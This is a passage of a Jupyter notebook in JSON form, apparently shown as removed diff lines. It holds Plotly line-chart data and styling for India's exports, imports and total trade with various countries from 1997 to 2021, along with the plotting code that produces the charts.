"2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1068.16, - 1665.76, - 1464.99, - 311.77, - 279.94, - 430.07, - 461.57, - 727.38, - 975.59, - 6608.04, - 8385.79, - 10391.24, - 9031.95, - 12169.65, - 17621.05, - 17649.21, - 18214.69, - 14580.85, - 6217.21, - 5960.27, - 8531.34, - 8764.74, - 10860.36, - 6268.34, - 8725.93 - ] - }, - { - "mode": "lines", - "name": "KYRGHYZSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.79, - 8.81, - 15.61, - 22.02, - 11.52, - 15.13, - 38.74, - 50.19, - 29.57, - 37.84, - 32.43, - 23.95, - 27.48, - 26.98, - 31.44, - 37.07, - 35.18, - 38.53, - 26.9, - 31.93, - 59.53, - 32.6, - 30.46, - 43.87, - 22.47 - ] - }, - { - "mode": "lines", - "name": "LAO PD RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.32, - 0, - 0, - 0, - 3.2, - 1.73, - 0.56, - 2.7, - 5.58, - 2.74, - 3.97, - 9.52, - 36.98, - 13.33, - 104.24, - 167.56, - 89.29, - 152.58, - 217.96, - 233.1, - 193.64, - 40.41, - 28.18, - 29.03, - 12.11 - ] - }, - { - "mode": "lines", - "name": "LATVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 19.53, - 21.7, - 13.83, - 18.11, - 7.1, - 11.68, - 16.76, - 18.52, - 38.52, - 71.66, - 100.45, - 158.8, - 202.11, - 299.51, - 239.37, - 177.71, - 205.97, - 134.34, - 141.07, - 155.25, - 164.85, - 273.97, - 384.79, - 152.36, - 132.59 - ] - }, - { - "mode": "lines", - "name": "LEBANON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 27.23, - 27.77, - 45.52, - 54.64, - 51.08, - 63.93, - 66.73, - 87.93, - 90.35, - 78.3, - 106.18, - 145.95, - 138.11, - 194.4, - 253.31, - 280.55, - 330.77, - 319.39, - 267.16, - 240.86, - 295.57, - 312.6, - 234.91, - 218.33, - 245.39 - ] - }, - { - "mode": "lines", - "name": "LESOTHO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.09, - 0, - 3.78, - 5.58, - 0, - 0, - 0, - 0, - 34.77, - 15.04, - 19.77, - 24.24, - 22.61, - 33.52, - 39.6, - 35, - 58.09, - 121.16, - 30.46, - 40.83, - 40.06, - 0 - ] - }, - { - "mode": "lines", - "name": "LIBERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 12.99, - 0, - 24, - 17.87, - 60.57, - 6.67, - 20.16, - 63.32, - 147.8, - 70.58, - 262.73, - 174.55, - 48.63, - 61.71, - 87.87, - 148.04, - 280.54, - 264.21, - 166.08, - 153.96, - 294.22, - 320.02, - 227.27, - 232.6, - 204.99 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[30]]['Year(start)'], y=df[df['Country']==country.index[30]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(30,40):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[30]]['Year(start)'], y=df[df['Country']==country.index[30]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(30,40):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[30]]['Year(start)'], y=df[df['Country']==country.index[30]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(30,40):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "id": "7e2c9315-4e21-4f54-828e-3d6bf91cfade", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 39.98, - 25.1, - 31.74, - 65.65, - 43.22, - 49.21, - 54.55, - 55.95, - 63.05, - 165.6, - 68.43, - 123.22, - 78.09, - 124.16, - 232.17, - 226.49, - 211.4, - 302.4, - 201.41, - 220.21, - 227.05, - 227.26, - 238.52, - 151.88, - 281.59 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "LIBYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 38.66, - 24.28, - 22.34, - 8.07, - 9.35, - 17.64, - 18.73, - 173.53, - 103.29, - 86.21, - 135.98, - 128.68, - 221.98, - 131.99, - 60.98, - 215.3, - 287.2, - 163.74, - 122.58, - 120.05, - 121.96, - 156.76, - 184.4, - 153.91, - 159.66 - ] - }, - { - "mode": "lines", - "name": "ALBANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.55, - 0.8, - 0.91, - 1.83, - 2.32, - 4.28, - 4.95, - 5.23, - 5.61, - 4.48, - 6.9, - 12.14, - 8.51, - 11.5, - 12.63, - 17.48, - 18.73, - 19.42, - 24.04, - 26.45, - 29.34, - 37.08, - 44.12, - 46.75, - 44.64 - ] - }, - { - "mode": "lines", - "name": "MAURITIUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 180.64, - 161.12, - 170.77, - 199.75, - 162.91, - 164.36, - 203.02, - 258.2, - 199.43, - 738.29, - 1088.82, - 1006.93, - 453.43, - 853.91, - 1400.51, - 1310.8, - 1000.18, - 1909.55, - 855.73, - 881.38, - 1077.15, - 1160.78, - 662.13, - 422.91, - 605.37 - ] - }, - { - "mode": "lines", - "name": "LUXEMBOURG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.2, - 3.78, - 5.36, - 5.58, - 4.47, - 9.14, - 14.19, - 11.64, - 10.67, - 16.92, - 11.7, - 11.56, - 4.78, - 18.76, - 9.1, - 8.2, - 11.74, - 9.59, - 8.07, - 11.48, - 11.39, - 30.07, - 20.34, - 12.6, - 10.95 - ] - }, - { - "mode": "lines", - "name": "MACAO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.09, - 0.93, - 0.78, - 1.09, - 1.64, - 3.6, - 4.08, - 2.09, - 2.46, - 1.62, - 4.5, - 5.49, - 40.58, - 1.44, - 1.48, - 0.96, - 1.62, - 2.43, - 1.97, - 1.51, - 13.89, - 1.06, - 6.28, - 8.96, - 11.73 - ] - }, - { - "mode": "lines", - "name": "MACEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.1, - 1.38, - 1.16, - 1.06, - 1.28, - 1.65, - 2.6, - 3.93, - 5.69, - 8.27, - 10.54, - 7, - 8.34, - 8.86, - 9.12, - 10.79, - 14.51, - 12.87, - 14.88, - 17.38, - 19.54, - 22.61, - 23.2, - 20.99 - ] - }, - { - "mode": "lines", - "name": "MADAGASCAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 7.58, - 9.92, - 9.17, - 10.79, - 13.17, - 14.63, - 39.14, - 36.12, - 42.65, - 45.78, - 57.27, - 250.05, - 85.71, - 79.33, - 123.63, - 154.42, - 238.71, - 167.19, - 197.05, - 213.7, - 228.11, - 196.38, - 301.73, - 324.22, - 227.85 - ] - }, - { - "mode": "lines", - "name": "MALAWI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.85, - 10.24, - 20.17, - 18.59, - 20.47, - 30.81, - 38.21, - 58.26, - 43.63, - 42.56, - 64.34, - 89.38, - 81.36, - 101.45, - 148.26, - 153.3, - 221.05, - 214.02, - 176.13, - 178.42, - 199.6, - 201.55, - 185.09, - 150.96, - 112.1 - ] - }, - { - "mode": "lines", - "name": "MALAYSIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 489.95, - 321.69, - 447.09, - 608.15, - 773.69, - 749.37, - 892.76, - 1084.06, - 1161.86, - 1305.22, - 2575.26, - 3419.97, - 2835.41, - 3871.17, - 3980.36, - 4444.07, - 4197.93, - 5816.55, - 3706.83, - 5224.86, - 5701.56, - 6436.3, - 6364.66, - 6057.68, - 5291.09 - ] - }, - { - "mode": "lines", - "name": "MALDIVES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.74, - 8.38, - 7.3, - 24.61, - 26.88, - 31.59, - 42.34, - 47.61, - 67.58, - 68.68, - 89.72, - 127.91, - 79.86, - 100.14, - 124.6, - 122.36, - 106.07, - 152.38, - 179.07, - 197.79, - 217, - 223.02, - 226.57, - 195.88, - 530.15 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - 